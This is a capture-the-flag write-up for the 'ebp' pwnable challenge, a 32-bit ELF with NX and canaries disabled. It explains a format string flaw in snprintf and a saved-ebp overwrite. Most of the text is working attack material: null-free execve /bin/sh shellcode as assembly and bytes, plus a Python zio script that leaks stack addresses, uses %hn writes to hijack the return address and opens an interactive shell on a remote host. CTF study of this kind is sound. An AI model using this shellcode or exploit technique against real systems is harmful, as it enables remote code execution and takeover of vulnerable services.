Category: Pwnable
Points: 160
Solves: 157
Description:
nc 52.6.64.173 4545
Download: %p%o%o%p.
check if it is x86 or x64:
$ file ebp_a96f7231ab81e1b0d7fe24d660def25a.elf ebp_a96f7231ab81e1b0d7fe24d660def25a.elf: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked (uses shared libs), for GNU/Linux 2.6.24, BuildID[sha1]=4e8094f9986968cd856db5093810badbb0749fde, not stripped
checksec:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : disabled
RELRO : Partial
32-bit binary with nx disabled, means that we can execute shellcode.
Analyze it with IDA, the assembly shows its very simple structure.There are only 3 functions totally:
main -> echo -> make_response
main() reads your input into a buffer sizing 1024 bytes, and call echo() to output it, in which the function calls make_response where lies a format string vulnerability:
.text:080484FD 000 push ebp
.text:080484FE 004 mov ebp, esp
.text:08048500 004 sub esp, 18h
.text:08048503 01C mov dword ptr [esp+8], offset buf ; format
.text:0804850B 01C mov dword ptr [esp+4], 1024 ; maxlen
.text:08048513 01C mov dword ptr [esp], offset response ; s
.text:0804851A 01C call _snprintf
.text:0804851F 01C leave
.text:08048520 000 retn
snprintf uses the input buffer directly as the format parameter, so here we can use %n to write any data. Since we can write shellcode, of course the best way is to control the flow jumping to our own shellcode.
And we notice that make_response() saved the ebp of echo() frame, so an amazing way is to modify the ebp of echo(), which is referenced in make_response() frame, to pointing to the echo()'s returning address, then use this new ebp value as the pointer (for %n) to hijack the flow returning to our shellcode.
When passing shellcode by a c-style string, dead chars such as ‘\0’ ‘\n’ can’t exisit. So I wrote this shellcode which modify itself to get rid of dead chars.
;shellcode.asm
;__NR_execve 11
;2F 62 69 6E 2F 73 68 FF -> /bin/sh 0xff
push 0xff68732f
push 0x6e69622f ;param string
lea ebx, [esp] ;ebx -> calling
xor eax, eax
mov byte[ebx+7], al ;fill a \0
push eax
push ebx ;stack: [sz][0][sz]
mov ecx, esp ;ecx->the same
lea edx, [ecx+4] ;edx->0
add eax, 11
int 0x80
xor eax, eax
inc eax
xor ebx, ebx
int 0x80
$ nasm -f elf32 -o shellcode.o shellcode.asm && objdump -d shellcode.o | grep '^ ' | cut -f2
68 2f 73 68 ff
68 2f 62 69 6e
8d 1c 24
31 c0
88 43 07
50
53
89 e1
8d 51 04
83 c0 0b
cd 80
31 c0
40
31 db
cd 80
Copy this to a text editor and replace all spaces with “\x”, then we can get our final exp:
#!/usr/bin/env python2.7
#encoding:utf-8
from zio import *
shellcode = '\x68\x2F\x73\x68\xFF\x68\x2F\x62\x69\x6E\x8D\x1C\x24\x31\xC0\x88\x43\x07\x50\x53\x89\xE1\x8D\x51\x04\x83\xC0\x0B\xCD\x80\x31\xC0\x40\x31\xDB\xCD\x80'
clen = len(shellcode)
target = ('52.6.64.173',4545)
#target = ('./ebp_a96f7231ab81e1b0d7fe24d660def25a.elf')
io = zio(target,timeout=500,print_read=COLORED(REPR,'cyan'),print_write=COLORED(REPR,'red'))
io.writeline('%4$p') #return addr
pWrite = int(io.read(10),16)
pWrite += 4
pWrite &= 0x0000ffff #only low bits
pl = '%%%dc%%4$hn' % (pWrite,) #write ebp to pointing ret and fill shellcode
io.writeline(pl)
pl = shellcode + '%%%dc%%12$hn' % (41088-clen,)
raw_input("debuging...")
io.writeline(pl)
io.interact()